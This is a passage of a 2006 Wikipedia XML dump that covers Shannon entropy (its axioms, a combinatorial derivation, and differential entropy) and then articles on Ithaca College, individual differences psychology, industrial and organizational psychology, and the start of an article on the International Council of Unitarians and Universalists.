Note: the ''b'' in &quot;''b''-ary entropy&quot; is the number of different symbols of the &quot;ideal alphabet&quot; which is being used as the standard yardstick to measure source alphabets.  In information theory, two symbols are [[necessary and sufficient]] for an alphabet to be able to encode information, therefore the default is to let ''b'' = 2 (&quot;binary entropy&quot;).  Thus, the entropy of the source alphabet, with its given empiric probability distribution, is a number equal to the number (possibly fractional) of symbols of the &quot;ideal alphabet&quot;, with an optimal probability distribution, necessary to encode for each symbol of the source alphabet.  Also note that &quot;optimal probability distribution&quot; here means a [[uniform distribution]]: a source alphabet with ''n'' symbols has the highest possible entropy (for an alphabet with ''n'' symbols) when the probability distribution of the alphabet is uniform.  This optimal entropy turns out to be &lt;math&gt; log_b \, n &lt;/math&gt;.

Another way to define the entropy function ''H'' (not using the [[Markov model]]) is by proving that ''H'' is uniquely defined (as earlier mentioned) [[iff]] ''H'' satisfies 1) - 3):

1) ''H''(''p''&lt;sub&gt;1&lt;/sub&gt;, &amp;hellip;, ''p&lt;sub&gt;n&lt;/sub&gt;'') is [[defined]] and [[continuous function|continuous]] [[for all]] ''p''&lt;sub&gt;1&lt;/sub&gt;, &amp;hellip;, ''p&lt;sub&gt;n&lt;/sub&gt;'' where ''p&lt;sub&gt;i&lt;/sub&gt;'' &lt;math&gt;\in&lt;/math&gt;[0,1] [[for all]] ''i'' = 1, &amp;hellip;, ''n'' and ''p''&lt;sub&gt;1&lt;/sub&gt; + &amp;hellip; + ''p&lt;sub&gt;n&lt;/sub&gt;'' = 1. (Remark that the function solely depends on the probability distribution, not the alphabet.)

2)  [[For all]] [[positive integers]] ''n'', ''H'' satisfies

:&lt;math&gt;
H\underbrace{\left(\frac{1}{n}, \ldots, \frac{1}{n}\right)}_{n\ \mathrm{arguments}} &lt; H\underbrace{\left(\frac{1}{n+1}, \ldots, \frac{1}{n+1}\right).}_{n+1\ \mathrm{arguments}}
&lt;/math&gt;

3) For [[positive integers]] ''b&lt;sub&gt;i&lt;/sub&gt;'' where ''b''&lt;sub&gt;1&lt;/sub&gt; + &amp;hellip; + ''b&lt;sub&gt;k&lt;/sub&gt;'' = ''n'', ''H'' satisfies

:&lt;math&gt;
H\underbrace{\left(\frac{1}{n}, \ldots, \frac{1}{n}\right)}_n = H\underbrace{\left(\frac{b_1}{n}, \ldots, \frac{b_k}{n}\right)}_k + \sum_{i=1}^k \frac{b_i}{n} H\underbrace{\left(\frac{1}{b_i}, \ldots, \frac{1}{b_i}\right)}_{b_i}.
&lt;/math&gt;

==Efficiency==
A source alphabet encountered in practice should be found to have a probability distribution which is less than optimal.  If the source alphabet has ''n'' symbols, then it can be compared to an &quot;optimized alphabet&quot; with ''n'' symbols, whose probability distribution is uniform.  The ratio of the entropy of the source alphabet with the entropy of its optimized version is the efficiency of the source alphabet, which can be expressed as a [[percentage]].

This implies that the efficiency of a source alphabet with ''n'' symbols can be defined simply as being equal to its ''n''-ary entropy.

==Derivation of Shannon's entropy==
Since the entropy was given as a definition, it does not need to be derived.  On the other hand, a &quot;derivation&quot; can be given which gives a sense of the motivation for the definition as well as the link to thermodynamic entropy.

'''Q.''' Given a [[roulette]] with ''n'' pockets which are all equally likely to be landed on by the ball, what is the probability of obtaining a distribution (''A&lt;sub&gt;1&lt;/sub&gt;'', ''A&lt;sub&gt;2&lt;/sub&gt;'', &amp;hellip;, ''A&lt;sub&gt;n&lt;/sub&gt;'') where ''A&lt;sub&gt;i&lt;/sub&gt;'' is the number of times pocket ''i'' was landed on and

:&lt;math&gt; P = \sum_{i=1}^n A_i \,\!&lt;/math&gt;

is the total number of ball-landing events?

'''A.''' The probability is a [[multinomial distribution]], viz.

:&lt;math&gt; p = {\Omega \over \Tau} = {P! \over A_1! \ A_2! \ A_3! \ \dots \ A_n!} \left(\frac1n\right)^P \,\!&lt;/math&gt;

where

:&lt;math&gt; \Omega = {P! \over A_1! \ A_2! \ A_3! \ \dots \ A_n!} \,\!&lt;/math&gt;

is the number of possible combinations of outcomes (for the events) which fit the given distribution, and

:&lt;math&gt; \Tau = n^P \ &lt;/math&gt;

is the number of all possible combinations of outcomes for the set of ''P'' events.

'''Q.''' And what is the entropy?

'''A.''' The entropy of the distribution is obtained from the [[logarithm]] of &amp;Omega;:
:&lt;math&gt; H = \log \Omega = \log \frac{P!}{A_1! \ A_2! \ A_3! \dots \ A_n!} \,\!&lt;/math&gt;

::&lt;math&gt; = \log P! - \log A_1! - \log A_2! - \log A_3! - \dots - \log A_n! \ &lt;/math&gt;

::&lt;math&gt; = \sum_i^P \log i - \sum_i^{A_1} \log i - \sum_i^{A_2} \log i - \dots - \sum_i^{A_n} \log i \,\!&lt;/math&gt;

The summations can be approximated closely by being replaced with integrals:

:&lt;math&gt; H = \int_1^P \log x \, dx - \int_1^{A_1} \log x \, dx - \int_1^{A_2} \log x \, dx - \dots - \int_1^{A_n} \log x \, dx. \,\!&lt;/math&gt;

The integral of the logarithm is

:&lt;math&gt; \int \log x \, dx = x \log x - \int x \, {dx \over x} = x \log x - x. \,\!&lt;/math&gt;

So the entropy is

:&lt;math&gt; H = (P \log P - P + 1) - (A_1 \log A_1 - A_1 + 1) - (A_2 \log A_2 - A_2 + 1) - \dots - (A_n \log A_n - A_n + 1) &lt;/math&gt;
::&lt;math&gt; = (P \log P + 1) - (A_1 \log A_1 + 1) - (A_2 \log A_2 + 1) - \dots - (A_n  \log A_n + 1) &lt;/math&gt;
::&lt;math&gt; = P \log P - \sum_{x=1}^n A_x \log A_x + (1 - n) \,\!&lt;/math&gt;

Change ''A&lt;sub&gt;x&lt;/sub&gt;'' to ''p&lt;sub&gt;x&lt;/sub&gt; = A&lt;sub&gt;x&lt;/sub&gt;/P'' and change ''P'' to ''1'' (in order to measure the &quot;bias&quot; or &quot;unevenness&quot;, in the probability distribution of the pockets for a single event), then

:&lt;math&gt; H = (1 - n) - \sum_{x=1}^n p_x \log p_x \,\!&lt;/math&gt;

and the term (1 &amp;minus; ''n'') can be dropped since it is a constant, independent of the ''p&lt;sub&gt;x&lt;/sub&gt;'' distribution.  The result is

:&lt;math&gt; H = - \sum_{x=1}^n p_x \log p_x \,\!&lt;/math&gt;.

Thus, the Shannon entropy is a consequence of the equation

:&lt;math&gt; H = \log \Omega \ &lt;/math&gt;

which relates to Boltzmann's definition,

:&lt;math&gt; \mathcal{S} = K \ln \Omega &lt;/math&gt;,

of thermodynamic entropy.

==Properties of Shannon's information entropy==

We write ''H''(''X'') as ''H&lt;sub&gt;n&lt;/sub&gt;''(''p&lt;sub&gt;1&lt;/sub&gt;'',...,''p&lt;sub&gt;n&lt;/sub&gt;''). The Shannon entropy satisfies the following properties:

* For any ''n'', ''H&lt;sub&gt;n&lt;/sub&gt;''(''p&lt;sub&gt;1&lt;/sub&gt;'',...,''p&lt;sub&gt;n&lt;/sub&gt;'') is a continuous and symmetric function on variables ''p&lt;sub&gt;1&lt;/sub&gt;'', ''p&lt;sub&gt;2&lt;/sub&gt;'',...,''p&lt;sub&gt;n&lt;/sub&gt;''.
* Event of probability zero does not contribute to the entropy, i.e. for any ''n'',
:&lt;math&gt;H_{n+1}(p_1,\ldots,p_n,0) = H_n(p_1,\ldots,p_n)&lt;/math&gt;.
* Entropy is maximized when the probability distribution is uniform. For all ''n'',
:&lt;math&gt;H_n(p_1,\ldots,p_n) \leq H_n\Big(\frac{1}{n},\ldots,\frac{1}{n} \Big)&lt;/math&gt;.
Following from the Jensen inequality,
:&lt;math&gt;H(X) = E\Big[\log_b \Big( \frac{1}{p(X)}\Big) \Big] \leq \log_b \Big( E\Big[ \frac{1}{p(X)} \Big] \Big) = \log_b(n)&lt;/math&gt;.
* If &lt;math&gt;p_{ij}, 1\leq i \leq m,  1\leq j \leq n&lt;/math&gt; are non-negative real numbers summing up to one, and &lt;math&gt;q_i = \sum_{j=1}^n p_{ij}&lt;/math&gt;, then
:&lt;math&gt;H_{mn}(p_{11},\ldots, p_{mn}) = H_m(q_1,\ldots,q_m) + \sum_{i=1}^m q_i H_n\Big(\frac{p_{i1}}{q_i},\ldots, \frac{p_{in}}{q_i} \Big)&lt;/math&gt;.
If we partition the ''mn'' outcomes of the random experiment into ''m'' groups with each group containing ''n'' elements, we can do the experiment in two steps: first, determine the group to which the actual outcome belongs to; then, find the outcome in that group. The probability that you will observe group ''i'' is ''q&lt;sub&gt;i&lt;/sub&gt;''. The conditional probability distribution function for group ''i'' is ''p&lt;sub&gt;i1&lt;/sub&gt;''/''q&lt;sub&gt;i&lt;/sub&gt;'',...,''p&lt;sub&gt;in&lt;/sub&gt;''/''q&lt;sub&gt;i&lt;/sub&gt;''). The entropy
:&lt;math&gt;H_n\Big(\frac{p_{i1}}{q_i},\ldots, \frac{p_{in}}{q_i} \Big)&lt;/math&gt;
is the entropy of the probability distribution conditioned on group ''i''. This property means that the total information is the sum of the information gained in the first step, ''H&lt;sub&gt;m&lt;/sub&gt;''(''q&lt;sub&gt;1&lt;/sub&gt;'',..., ''q&lt;sub&gt;n&lt;/sub&gt;''), and a weighted sum of the entropies conditioned on each group.

Khinchin in 1957 showed that the only function satisfying the above assumptions is of the form
:&lt;math&gt;H_n(p_1,\ldots,p_n) = -k \sum_{i=1}^n p_i \log p_i&lt;/math&gt;,
where ''k'' is a positive constant representing the desired unit of measurement.

==Deriving continuous entropy from discrete entropy: the Boltzmann entropy==

The Shannon entropy is restricted to finite sets. It seems that the formula

:&lt;math&gt;h[f] = -\int_{-\infty}^{\infty} f(x) \log f(x) dx&lt;/math&gt;, (*)

where ''f'' denotes a [[probability density function]] on the real line, is analogous to the Shannon entropy and could thus be viewed as an extension of the Shannon entropy to the domain of real numbers. Formula (*) is usually referred to as the '''Boltzmann entropy''', '''continuous entropy''', or [[differential entropy]]. Although the analogy between both functions is suggestive, the following question must be set: is the Boltzmann entropy a valid extension of the Shannon entropy? To answer this question, we must establish a connection between the two functions: 

We wish to obtain a generally finite measure as the [[bin size]] goes to zero. In the discrete case, the bin size is the (implicit) width of each of the ''n'' (finite or infinite) bins whose probabilities are denoted by ''p&lt;sub&gt;n&lt;/sub&gt;''. As we generalize to the continuous domain, we must make this width explicit.

To do this, start with a continuous function ''f'' discretized as shown in the figure.
&lt;!-- Figure: Discretizing the function $ f$ into bins of width $ \Delta$
 \includegraphics[width=\textwidth]{function-with-bins.eps} --&gt;
As the figure indicates, by the mean-value theorem there exists a value ''x&lt;sub&gt;i&lt;/sub&gt;'' in each bin such that
:&lt;math&gt;f(x_i) \Delta = \int_{i\Delta}^{(i+1)\Delta} f(x) dx&lt;/math&gt;
and thus the integral of the function ''f'' can be approximated (in the Riemannian sense) by
:&lt;math&gt;\int_{-\infty}^{\infty} f(x) dx = \lim_{\Delta \to 0} \sum_{i = -\infty}^{\infty} f(x_i) \Delta&lt;/math&gt;
where this limit and ''bin size goes to zero'' are equivalent.

We will denote
:&lt;math&gt;H^{\Delta} :=- \sum_{i=-\infty}^{\infty} \Delta f(x_i) \log \Delta f(x_i)&lt;/math&gt;
and expanding the logarithm, we have
:&lt;math&gt;H^{\Delta} = - \sum_{i=-\infty}^{\infty} \Delta f(x_i) \log \Delta f(x_i)&lt;/math&gt;
:&lt;math&gt; = - \sum_{i=-\infty}^{\infty} \Delta f(x_i) \log f(x_i) -\sum_{i=-\infty}^{\infty} f(x_i) \Delta \log \Delta&lt;/math&gt;
As &lt;math&gt;\Delta \to 0&lt;/math&gt;, we have
:&lt;math&gt;\sum_{i=-\infty}^{\infty} f(x_i) \Delta \to \int f(x) dx = 1&lt;/math&gt;
and so
:&lt;math&gt;\sum_{i=-\infty}^{\infty} \Delta f(x_i) \log f(x_i) \to \int f(x) \log f(x) dx&lt;/math&gt;.

But note that &lt;math&gt;\log \Delta \to -\infty&lt;/math&gt; as &lt;math&gt;\Delta \to 0&lt;/math&gt;, therefore we need a special definition of the differential or continuous entropy:

:&lt;math&gt;h[f] = \lim_{\Delta \to 0} \left[H^{\Delta} + \log \Delta\right] = -\int_{-\infty}^{\infty} f(x) \log f(x) dx&lt;/math&gt;,

which is, as said before,  referred to as the '''Boltzmann entropy'''. This means that the Boltzmann entropy ''is not'' a limit of the Shannon entropy for &lt;math&gt;n \to 0&lt;/math&gt; and, consequently is not a measure of uncertainty and information.

{{planetmath|id=968|title=Shannon's entropy}}

== See also ==

* [[Entropy encoding]]
* [[Kolmogorov-Sinai entropy]] in [[dynamical system]]s
* [[Theil index]]

== External links ==

* [http://www.lecb.ncifcrf.gov/~toms/information.is.not.uncertainty.html Information is not entropy, information is not uncertainty !] - a discussion of the use of the terms &quot;information&quot; and &quot;entropy&quot;.
* [http://www.ccrnp.ncifcrf.gov/~toms/bionet.info-theory.faq.html#Information.Equal.Entropy I'm Confused: How Could Information Equal Entropy?] - a similar discussion on the bionet.info-theory FAQ.
* [http://random.hd.org/ Java &quot;entropy pool&quot; for cryptographically-secure unguessable random numbers]
* [http://www.rheingold.com/texts/tft/6.html Description of information entropy from &quot;Tools for Thought&quot; by Howard Rheingold]

[[Category:Entropy]]
[[Category:Information theory]]
[[Category:Statistics]]
[[Category:Randomness]]

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[[zh:熵 (信息论)]]</text>
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  <page>
    <title>Ithaca College</title>
    <id>15446</id>
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      <id>41987877</id>
      <timestamp>2006-03-03T01:42:09Z</timestamp>
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      <comment>/* 92 WICB */</comment>
      <text xml:space="preserve">{{Infobox_University 
|image          = 
|name           = Ithaca College
|motto          = ''Commitment to Excelence'' 
|established    = [[1892]] 
|type           = [[Private school|Private]] with 5 schools
|president      = Peggy R. Williams 
|city           = [[Ithaca, New York|Ithaca]] 
|state          = [[New York|NY]] 
|country        = [[United States|USA]] 
|undergrad      = 6,098 
|postgrad       = 314 
|staff          = 656 
|campus         = [[Urban area]], 757 [[acre]]s (3.0 [[kilometre|km]]&amp;sup2;) 
|mascot         = None.  Teams referred to as the &quot;Bombers&quot;
|free_label     = Athletics 
|free           = 23 Varsity Teams 
|website        = http://www.ithaca.edu/
}}
[[Image:Hp 2 small.jpg|thumb|250px|Ithaca College Campus]]

'''Ithaca College''' is a private [[liberal arts college]] located on the South Hill of [[Ithaca, New York]]. Ithaca was founded by William Egbert in [[1892]] as a conservatory of music. Today, the college offers a diverse curriculum with over 100 degree programs in business, communications, health sciences and human performance, humanities and sciences, music, and interdisciplinary studies.

==Modern era==
Ithaca College's modern era began when the school moved from downtown Ithaca to Ithaca's South Hill, south of [[Cayuga Lake]], beginning in [[1960]].

Ithaca College is best known for its programs in music, communications, physical therapy, psychology, theatre, and physical education.

The School of Music, now housed in the James J. Whalen Center for Music (which was erected around the original Ford Hall in 1998), gives over 300 concerts a year, most of which are free and open to the public. The school offers degrees in music performance, education, recording and jazz studies; as well as a unique 4-1/2 year program in which students graduate with 2 bachelor's degrees, one in performance and one in education.

==Media and Publications==
===''The Ithacan''===

''The Ithacan'' is Ithaca College's official newspaper and the voice of the campus community. It is entirely student run, under the supervision of adviser Michael Serino. It is available in print every Thursday morning when classes are in session and online: [http://www.ithaca.edu/ithacan]. The Ithacan and its staff have won numerous journalistic awards and The Ithacan is regarded as a model for 4-year college weekly newspapers.

===''iMPrint Magazine''===
[http://www.imprintmagazine.org/ ''iMPrint Magazine: College Life’s Internet Magazine''], published from Ithaca College, is published by college students, for college students, about college students. iMPrint strives to inform its readers of national issues and give them the opportunity to voice their opinion and become involved in the discussion.

To be an informed college student is to be able to understand complex topics and relate them to other aspects of life. In order to allow readers to make connections across all topic areas, each edition of iMPrint is built around a central theme. This allows the sports fanatic, for example, to understand how issues of the news might affect their favorite team. But from Arts &amp; Entertainment to Life to News to Sports &amp; Recreation, iMPrint also understands that every reader’s interests are unique.

Beyond providing stories, iMPrint mobilizes information; that is, it allows the reader to become involved in what he or she just read. Whether by linking to a related site, e-mailing a source in the story or leaving a comment for the writer, the reader has the tools to take part in the discussion. iMPrint continues to stay on the cutting edge of seamlessly linking information across the Internet.

Currently, iMPrint only features writers and editors from Ithaca College. Soon, however, iMPrint will be expanding to other colleges and universities to include more voices, more opinions and more diversified content. Every month, iMPrint is growing by leaps and bounds. Now is the time to get involved. Make a difference. Leave your iMPrint. [http://www.imprintmagazine.org/ Leave your iMPrint]

===''Buzzsaw Haircut''===

''Buzzsaw Haircut'' was founded in [[1997]] and is the college's monthly alternative news magazine. It is available in print and [http://www.buzzsawhaircut.com/ online], with three magazines produced per semester. 

''Buzzsaw Haircut'' is produced by the Ithaca College community and printed by Our Press of [[Binghamton, NY]]. It is funded by the Ithaca College Student Government Association, the Park School of Communications, and a grant from [[Campus Progress]]. 

Buzzsaw is a liberal-leaning campus magazine that accepts writing from students and faculty. The magazine is published with a monthly theme that directs the content of the main content section, ''Upfront.'' Other sections include ''News+Views,'' covering current events, ''Ministry of Cool,'' which includes reviews of books, music and movies as well as discussions of related pop culture topics, and ''Sawdust,'' the section for satire and cartoons.

The magazine exists to inspire thoughtful debate and open up the channels through which information is shared. It supports an op-ed voice and in-depth analysis of current and relavent issues.

===''Ithaca College Radio''===

Ithaca College is also home to two student-operated radio stations.  

====92 WICB====
92 WICB is a fully-functional, FCC-licensed station that operates at 7500 Watts at 91.7 on the FM band.  The majority of its programming falls under the modern rock category.  While broadcasting modern rock, the station is run similarly to a commercial modern rock station, with the inclusion of playlists planned by the programming and music departments that include leeway for listener requests and DJ choices.  

WICB also broadcasts a City Rhythms programming block on Thursday, Friday, and Saturday nights.  Programming on these nights ranges from mainstream hip-hop and R&amp;B, to underground, downtempo, and other lesser-known genres of what is generally considered urban music. 

In addition to a lunchtime Jazz show, WICB broadcasts a number of other specialty shows throughout the week.  These shows, which usually run 2-3 hours in length, come from genres such as blues, broadway, jam band music, and &quot;homeless&quot; music, that is not normally heard on the public airwaves.

WICB has a reputation in the entertainment and news industries as a strong training ground for students.  Alumni of the station are numerous within the radio, record label and artist management businesses.

====106 VIC====

106 VIC is an internet radio station which also broadcasts on ICTV 16 when that station is not otherwise programmed.  Approximately 60% of its programming consists of an &quot;alterna-lite&quot; format, which is a mix of alternative rock and singer/songwriter-style music, which is programmed by the music and programming departments.  The rest of its programming consists of specialty shows, programmed by student DJs, which are more representative of a typical college station.

The station also hosts an annual 50 Hour Marathon, where two DJs stay awake for fifty hours straight to raise money for a local charity.  The marathon, which is simulcast on 92 WICB and ICTV 16, typically involves events such as concerts, scavenger hunts, and remote broadcasts around Ithaca.

===''Journal of Race, Culture, Gender and Ethnicity''===
Also at Ithaca College is the ''Ithaca College Journal of Race, Culture, Gender and Ethnicity''.  Founded in 2004 by several Ithaca College students, this academic journal welcomes student work that explores complexities of such topics. The journal is available in print and [http://www.ithaca.edu/icjournal/ online].

==Athletics==
Ithaca College's sports teams were originally called the Cayugans, but the name was changed to the Bombers in the 1930s.  Sources credit an ''[[The Ithaca Journal|Ithaca Journal]]'' sports columnist with giving the Bombers their name when he compared Ithaca's [[baseball]] team to the [[New York Yankees]] (which are affectionately known as the &quot;Bronx Bombers&quot;).  

Ithaca is a member of the [[National Collegiate Athletic Association|NCAA's]] Division III, the [[Empire Eight]] Conference, and the [[Eastern College Athletic Conference]].  Ithaca has one of Division III's strongest athletic programs.  The Bombers have won a total of 15 national titles in seven team sports and five individual sports.  Most recently, the women's crew team won back-to-back NCAA Division III championships in [[2004]] and [[2005]].

The Bombers play the [[State University of New York at Cortland|Cortland]] Red Dragons for the [[Cortaca Jug]], which was added in 1959 to an already competitive rivalry.  The matchup is one of the most prominent in [[Division III]] college football.

Ithaca is also home to a large number of club sports.  There are over 60 teams and many are very competitive; competing against other colleges in leagues and tournaments.

==Presidents==
===Current president===
[[Image:Peggy_Williams.jpg|left|200px|thumb|President Peggy Williams]]
Ithaca's current president is Peggy R. Williams. President Williams assumed the presidency of Ithaca College on [[July 1]], [[1997]]. She is the College's seventh president and its first female president. Williams came to Ithaca from [[Lyndon State College]], where she had been president since [[1989]]. She had previously worked at [[Trinity College (Vermont)|Trinity College]] in [[Burlington, Vermont]], as associate academic dean, chair of the business and economics department, and associate professor. She also held various positions within the Vermont State Colleges system. Before entering the field of higher education, Williams was a social worker for the Medical Center Hospital of Vermont and the Monroe County Department of Social Services in New York. Williams holds a bachelor of arts degree in psychology from [[St. Michael's College]] of the [[University of Toronto]]; a master of education degree from the [[University of Vermont]]; and a doctorate in administration, planning, and social policy from Harvard University. A native of [[Montreal]], Williams has lived in the United States since [[1968]] and is a citizen of both the [[United States]] and [[Canada]]. A little known fact about Williams: she is an award-winning yo-yoist.

===Former presidents===
*'''W. Grant Egbert''' (1892-1924) &amp;mdash; Founder, musical director, and president of the Ithaca Conservatory of Music, the predecessor of Ithaca College  

*'''George C. Williams''' (1924-1932) &amp;mdash; Second president of the Ithaca Conservatory of Music and first president of the renamed Ithaca College  

*'''Leonard B. Job''' (1932-1957) &amp;mdash; Guardian who successfully shepherded the College through the Great Depression and World War II  

*'''Howard I. Dillingham''' (1957-1970) &amp;mdash; Conductor of the movement that transported Ithaca College from downtown Ithaca to South Hill  

*'''Ellis L. Phillips Jr.''' (1970-1975) &amp;mdash; Credited with overseeing substantive, comprehensive changes to the College  

*'''[[James J. Whalen]]''' (1975-1997) &amp;mdash; Led the College through a time of unprecedented growth

==Notable professors, alumni and former students==
*[[David Boreanaz]], [[actor]], ''[[Buffy the Vampire Slayer]]'' and ''[[Angel (TV series)|Angel]]''
*[[Robert Marella]], a.k.a. [[Gorilla Monsoon]]
*[[Mark Romanek]], [[Film director|director]] of ''[[One Hour Photo]]'' and [[music video]]s
*[[Gavin MacLeod]], [[actor]], ''[[The Love Boat]]'' and ''[[The Mary Tyler Moore Show]]''
*[[Jessica Savitch]], first female network anchor
*[[Kevin Connors]], award winning sportscaster 
*[[Rod Serling]], creator of the ''[[The Twilight Zone]]''
*[[CCH Pounder]], [[actor]], ''[[The Shield]]''
*[[Ricki Lake]], [[actress]], ''[[Serial Mom]]'', host ''[[The Ricki Lake Show]]''
*[[Gavin DeGraw]], [[singer]]
*[[Karl Ravech]], [[ESPN]] [[sportscaster]]
*[[Robert Iger]], president and chief executive officer of [[The Walt Disney Company]]
*[[Barbara Gaines]], executive producer of the ''[[Late Show with David Letterman]]''

===A cappella groups===
*[http://www.ithacappella.com/ Ithacappella] - male a cappella singing group
*[http://www.ithaca.edu/premiumblend/ Premium Blend] - female a cappella singing group
*[http://www.icvoicestream.com/ VoiceStream] - co-ed a cappella singing group

==External links==
*[http://www.ithaca.edu/ Ithaca College official site]
*[http://www.ithaca.edu/ithacan The Ithacan - Ithaca's official newspaper]
*[http://www.imprintmagazine.org/ iMPrint Magazine: College Life's Internet Magazine]
*[http://www.ithaca.edu/icjournal/ Ithaca College Journal of Race, Culture, Gender and Ethnicity]
*[http://www.buzzsawhaircut.com/ Buzzsaw Haircut] - Ithaca's alternative student-run magazine publication

==Trivia==
*The characters from the movie [[Road Trip]] attended &quot;Ithaca University.&quot;  The filming, however, took place at The [[University of Georgia]].</text>
    </revision>
  </page>
  <page>
    <title>Individual differences psychology</title>
    <id>15447</id>
    <revision>
      <id>39936477</id>
      <timestamp>2006-02-16T23:07:53Z</timestamp>
      <contributor>
        <username>EPM</username>
        <id>675682</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{mergeto|Differential psychology}}
'''Individual differences psychology''' studies the ways in which individual people differ in their behavior. This is distinguished from other aspects of [[psychology]] in that although psychology is ostensibly a study of individuals, modern psychologists invariably study [[groups]]. For example, in evaluating the effectiveness of a new therapy, the mean performance of the therapy in one [[treatment group|group]] might be compared to the mean effectiveness of a [[placebo]] (or a well-known therapy) in a second, [[control group]]. In this context, differences between individuals in their reaction to the experimental and control manipulations are actually treated as errors rather than as interesting phenomena to study. This is because [[psychology|psychological]] research depends upon statistical controls that are only defined upon groups of people. Individual difference psychologists usually express their interest in individuals while studying groups by seeking dimensions shared by all individuals but upon which individuals differ.  Individual differences typically includes the study of [[intelligence (trait)]] and [[IQ]] and the study of [[personality]].

Individual differences of the [[Emotion|emotional]] type were described by [[Knight Dunlap]], in ''Habits: Their Making and Unmaking'' (1932), pp 233-234:

* The timid person has emotions of embarrassment, dismay, apprehension or fear in situations where normal persons show little emotional effect, or where quite different emotions would be more appropriate.
* An irritable person may &quot;boil over&quot; in an offensive way or express himself snappishly under stimulation which should be only mildly annoying. On the other hand, he may, for politic reasons, somewhat restrain his outward expressions, but still feel the irritation he does not flagrantly display. The bad-tempered person, however, seldom restrains his expressions of irritation completely.
* Another type of emotionally maladjusted individual is popularly described as &quot;soft.&quot; His sympathy is too easily aroused, and he is an easy prey for clever swindlers. He pities not merely the unfortunate person, but also the deliberate miscreant, and so is an impediment to the maintenance of social order and justice. At the other extreme is the &quot;hard-boiled&quot; man, who is callous to the suffering and misfortune of others and who spares the feelings of no one.
* Self-pity, unlike the emotional defects above described, is not an exaggeration of a normal habit, but is a trait which is undesirable throughout.... However deserving a man may be of pity from others, he cannot afford to pity himself. The neurotic, from whatever complex of disadvantageous traits he may suffer, is especially prone to self-pity, which confirms and strengthens his neurosis.

==Bibliographic Reference==
Dunlap, Knight. ''Habits: Their Making and Unmaking.'' New York: Liveright Publishing Corporation, Inc. (1932). 

[[Category:Psychology]]

==See also==
* [[London School of Differential Psychology]]

==External links==

* [http://www.wilderdom.com/personality/L1-1Introduction.html Introduction to Individual Differences]

*Buss, D.M., &amp; Greiling, H.(1999).  [http://lepo.it.da.ut.ee/~renee/Buss/buss1999.pdf#search='David%20Bussadaptive%20differencespdf' Adaptive Individual Differences.] ''Journal of Personality, 67'', 209-243.

[[Category:Branches of psychology]]</text>
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  </page>
  <page>
    <title>Israeli</title>
    <id>15449</id>
    <revision>
      <id>15912923</id>
      <timestamp>2004-04-01T21:30:20Z</timestamp>
      <contributor>
        <username>Kevin Saff</username>
        <id>37386</id>
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      <comment>redirect to Israel</comment>
      <text xml:space="preserve">#REDIRECT [[Israel]]</text>
    </revision>
  </page>
  <page>
    <title>Industrial and organizational psychology</title>
    <id>15450</id>
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      <id>41444200</id>
      <timestamp>2006-02-27T10:08:20Z</timestamp>
      <contributor>
        <ip>132.170.32.108</ip>
      </contributor>
      <text xml:space="preserve">'''Industrial and organizational psychology''' (or '''I/O psychology''') is also known as '''occupational psychology''' (in the [[United Kingdom]]) and '''work psychology''' (from the German, ''Arbeitpsychologie'').

Industrial and organizational psychology is the study of the behavior of people in the workplace.  Industrial and organizational psychology attempts to apply psychological results and methods to aid workers and organizations.

Industrial and organizational psychologists use [[psychological testing]] to measure the knowledge, skills, abilities, and other characteristics of people for a variety of employment-related purposes, such as selection for hiring or promotion, training and development, or measuring employee satisfaction.  Historically, the [[job analysis]] has been the traditional means by which the essential characteristics associated with any particular position are identified. A thorough job analysis takes time, resources and money but its benefits tend to out weigh the costs, especially when the position is of great importance, such as an executive position in a major corporation.

It is a fairly diverse field incorporating aspects of fields such as [[clinical psychology]], social psychology, and psychometrics as well as broader social studies such as [[organizational theory]], [[law]], and gender issues.  

Many industrial and organizational psychologists specialize in aspects (e.g., psychometrics; time and motion studies; labor law; personnel selection; training) aspects (e.g., leadership selection, coaching and development; organizational design and change).  Some I/O psychologists are academic (working in both business and psychology departments) or non-academic researchers, while many others are engaged in practice, holding positions such as: 

* executive coach
* diversity consultant
* legislative compliance officer
* labor relations specialist
* human resources specialist
* process improvement consultant
* manager of selection and training.

== Related disciplines ==
* [[Industrial engineering]]
* [[Total quality management]]
* [[Psychometrics]]
* [[Social psychology]]
* [[Labor and industrial relations]]
* [[Organizational development]]
* [[Personality psychology]]
* [[Organizational behavior]]

== Milestones in industrial and organizational psychology ==	 
* [[Hawthorne studies]] at [[Western Electric]]	 
* [[U.S. Army]] Project A	 
	 
==See also==	 
* [[Industrial sociology]]	 
* [[List of human resource management topics]]	 
* [[List of psychological topics]]	 
* [[How Occupation and Employment can affect Identity]]	 
* [[List of publications in psychology#Industrial and organizational psychology | Important publications in Industrial and organizational psychology ]]	 
	 
== Key works in industrial and organizational psychology == 	 
* ''Handbook Of Research Methods In Industrial And Organizational Psychology'', by Steven G. Rogelberg
* Two volume ''Handbook of Industrial, Work and Organizational Psychology'', edited by Neil Anderson, Deniz S. Ones, Handan K. Sinangil, and Chockalingam Viswesvaran
* ''Handbook of Psychology, Industrial and Organizational Psychology'' by Walter C. Borman, Daniel R. Ilgen, Richard J. Klimoski, Irving B. Weiner

==External links==	 
* Additional information can be found at the Web site of the [http://www.siop.org Society for Industrial and Organizational Psychology].	 
* Related information can be found at the web site of the [http://www.aomonline.org Academy of Management].	 
	 
[[Category:applied psychology]]	 
[[category:Organizational studies and human resource management]]

[[af:Bedryfsielkunde]]
[[fa:روان‌شناسی صنعتی]]
[[fi:Työpsykologia]]
[[sl:Kadrovsko-menedžerska in industrijska psihologija]]</text>
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  </page>
  <page>
    <title>International Council of Unitarians and Universalists</title>
    <id>15451</id>
    <revision>
      <id>40364482</id>
      <timestamp>2006-02-20T01:58:54Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''International Council of Unitarians and Universalists''' (ICUU) is a world council bringing together [[Unitarian]]s, [[Universalist]]s and [[Unitarian Universalism|Unitarian Universalists]]. The original initiative for its establishment was contained in a resolution of the [[General Assembly of Unitarian and Free Christian Churches]] of the [[United Kingdom]] in 1987. This led to the establishment of the &quot;Advocates for the Establishment of an International Organization of Unitarians&quot; (AEIOU), which worked towards the establishment of the council. Rev. [[David Usher (minister)|David Usher]], a British Unitarian minister of Australian origin, proposed the 1987 resolution. However, the General Assembly resolution provided no funding.

